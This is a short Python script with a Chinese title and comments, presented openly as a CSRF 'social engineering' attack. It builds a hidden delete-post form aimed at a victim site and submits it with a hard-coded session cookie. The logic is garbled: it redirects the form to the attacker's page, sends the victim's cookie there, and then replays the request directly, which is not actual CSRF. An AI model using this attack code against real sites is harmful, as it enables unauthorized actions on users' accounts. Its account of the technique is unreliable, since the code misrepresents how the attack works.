使用Python实现CSRF攻击的社会工程学攻击

import requests

# 攻击者的歹意网站
evil_website = "http://example.com/malicious.php"

# 受害者的网站
victim_website = "http://victim.com"

# 受害者的登录信息
victim_cookie = {"sessionid": "123456"}

# 构造歹意表单，提交到受害者网站
csrf_form = '''
<form action="{0}" method="POST">
    <input type="hidden" name="action" value="delete">
    <input type="hidden" name="postid" value="123">
    <input type="hidden" name="confirm" value="1">
    <input type="submit" value="Delete Post">
</form>
'''.format(victim_website)

# 攻击者将表单注入到自己的网站中
evil_form = csrf_form.replace(victim_website, evil_website)

# 受害者在歹意网站中点击表单
response = requests.get(evil_website, cookies=victim_cookie, allow_redirects=False, verify=False)
if response.status_code == 200:
    # 提交表单
    payload = {"action": "delete", "postid": "123", "confirm": "1"}
    response = requests.post(victim_website, data=payload, cookies=victim_cookie)
    if response.status_code == 200:
        print("攻击成功")
    else:
        print("攻击失败")
else:
    print("没有找到歹意表单")